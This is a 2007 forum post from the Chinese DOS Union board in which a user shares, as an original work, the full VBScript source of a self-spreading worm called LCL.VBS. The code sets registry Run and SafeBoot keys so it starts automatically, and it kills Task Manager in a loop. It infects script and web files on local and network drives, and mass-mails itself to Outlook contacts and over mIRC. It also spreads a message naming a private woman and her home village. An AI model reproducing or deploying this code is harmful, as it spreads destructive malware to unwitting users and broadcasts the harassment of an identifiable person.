中国DOS联盟论坛

中国DOS联盟

-- 联合DOS 推动DOS 发展DOS --

联盟域名:www.cn-dos.net  论坛域名:www.cn-dos.net/forum
DOS,代表着自由开放与发展,我们努力起来,学习FreeDOS和Linux的自由开放与GNU精神,共同创造和发展美好的自由与GNU GPL世界吧!

游客:  注册 | 登录 | 命令行 | 会员 | 搜索 | 上传 | 帮助 »
作者:
标题: [原创]我再发个LCL.VBS 上一主题 | 下一主题
correy
初级用户





积分 97
发帖 22
注册 2007-4-23
状态 离线
『楼 主』:  [原创]我再发个LCL.VBS


─────────────────── 版务记录 ────────────────────
执行:lxmxn
标题:[原创]我再发个LCL.VBS
说明:因标题表述过于模糊,不便于论坛的搜索和管理,请在三日内修改标题,否则扣除2点积分
参考:http://www.cn-dos.net/forum/viewthread.php?tid=7326&fpage=1
   http://community.csdn.net/IndexPage/SmartQuestion.aspx
─────────────────── 版务记录 ────────────────────


On Error GoTo 0

Set fso = CreateObject("Scripting"&"."&"FileSystem"&"Object")
Startup = WshShell.SpecialFolders("Startup")
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set lcl = fso.GetFile(WScript.ScriptFullName)
lcl.Copy(dirwin&"\lcl.vbs")
lcl.Copy(dirsystem&"\lcl.vbs")

set sf0 = fso.GetSpecialFolder(0)
b = sf0.drive&"\lcl.txt"
Set lcl = fso.CreateTextFile( b , True )
lcl.WriteLine("I love person,") ''10
lcl.WriteLine("She doesn't love me.")
lcl.WriteLine("She is Liu Chun Li,")
lcl.WriteLine("She mother home is Yuzhen.Qixian.Kaifeng.Henan.China.")
lcl.WriteLine("I was died because by her,")
lcl.WriteLine("I am demanding my life of you.")
fso.CopyFile b, Startup&"\lcl.txt"
lcl.Close

set WshShell = WScript.CreateObject("WScript"&"."&"Shell")
outtime=wshshell.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout")
if (outtime>=1) then
wshshell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD"
end if
wshshell.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\lcl",dirsystem&"\lcl.vbs"
wshshell.Regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\lcl",dirsystem&"\lcl.vbs"
wshshell.Regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\lcl",dirwin&"\lcl.vbs"
wshshell.Regwrite "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\lcl" dirsystem&"\lcl.vbs"
wshshell.Regwrite "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\lcl" dirwin&"\lcl.vbs"
do
  wshshell.run "cmd /c taskkill /f /im taskmgr.exe",0
  wshshell.sendkeys "%"
loop

self=fso.opentextfile(wscript.scriptfullname,1).readall  
For Each d in fso.Drives
        if d.drivetype=4 then
           Exit For
           else
           fso.CopyFile b, d&"\lcl.txt"
           rem scan(d)
         end if        
next

Set WSHNetwork = WScript.CreateObject("WScript.Network")
Set colDrives = WSHNetwork.EnumNetworkDrives
If colDrives.Count > 0 Then
   For i = 0 To colDrives.Count - 1 Step 2
   net1 = coldrives(i)
   net2 = colDrives(i + 1)
   scan (net1)
   scan (net2)
   Next
End If

on error resume next
Set outlookApp = CreateObject("Outlook.Application")
If outlookApp= "Outlook" or outlookapp = "outlook express" Then
  Set mapiObj=outlookApp.GetNameSpace("MAPI") ''获取MAPI的名字空间
  Set addrList= mapiObj.AddressLists ''获取地址表的个数
  For Each addr In addrList
     If addr.AddressEntries.Count <> 0 Then
        addrEntCount = addr.AddressEntries.Count ''获取每个地址表的Email记录数
        For addrEntIndex= 1 To addrEntCount ''遍历地址表的Email地址
            Set item = outlookApp.CreateItem(0) ''获取一个邮件对象实例
            Set addrEnt = addr.AddressEntries(addrEntIndex) ''获取具体Email地址
            item.To = addrEnt.Address
            item.Subject = "find a person"
            item.Body = "her name is Liu Chun li,her mother home is Yuzhen.Qixian.Kaifeng.Henan.China"
            Set attachMents=item.Attachments
            attachMents.Add fso.GetSpecialFolder(0) & "\lcl.vbs"
            item.DeleteAfterSubmit = True ''信件提交后自动删除
            If item.To <> "" Then
            item.Send
            shellObj.regwrite "HKCU\software\Mailtest\mailed", "1"
            End If
         Next
      End If
   Next
End if

set mirc=fso.CreateTextFile("C:\mirc\script.ini")
fso.CopyFile Wscript.ScriptFullName, "C:\mirc\lcl.vbs", True
mirc.WriteLine "[script]"
mirc.WriteLine "n0=on 1:join:*.*: { if ( $nick !=$me ) {halt} /dcc send $nick C:\mirc\lcl.vbs }"
'利用命令/ddc send $nick lcl.vbs给通道中的其他用户传送病毒文件
mirc.Close

sub scan(folder)
on error resume next
set fd=fso.getfolder(folder)
for each file in fd.files ''40
   ext=fso.GetExtensionName(file)           
   ext=lcase(ext)     
   if ext="vbs" or ext="vbe" or ext="wsc" or ext="wsf" or ext="wsh" or ext="sct" then        
      set ap=fso.opentextfile(file.path,8,true)
      ap.write chr(13)&chr(10)
      ap.write self                     
      ap.close                  
   end if  
   if ext="htm" or ext="html" or ext="asp" or ext="eml" or ext="aspx" or ext="hta" or ext="shtml" then      
      set ap=fso.opentextfile(file.path,8,true)
      ap.write "<"&"SCRIPT LANGUAGE='VBScript'> "
      ap.write chr(13)&chr(10)
      ap.write self   
      ap.write "<"&"/SCRIPT>"               
      ap.close
    end if
    if ext="htd" or ext="xhtml" or ext="phtml" or ext="htt" or ext="cfm" or ext="tpl" or ext="dtd" then      
      set ap=fso.opentextfile(file.path,8,true)
      ap.write "<"&"SCRIPT LANGUAGE='VBScript'> "
      ap.write chr(13)&chr(10)
      ap.write self   
      ap.write "<"&"/SCRIPT>"               
      ap.close
    end if
next
for each subfd in fd.subfolders         
scan(subfd)
next
end sub


rem folder.htt and desktop.ini

[ Last edited by lxmxn on 2007-10-6 at 09:04 AM ]

2007-10-6 08:24
查看资料  发送邮件  发短消息 网志   编辑帖子  回复  引用回复

请注意:您目前尚未注册或登录,请您注册登录以使用论坛的各项功能,例如发表和回复帖子等。


可打印版本 | 推荐给朋友 | 订阅主题 | 收藏主题



论坛跳转: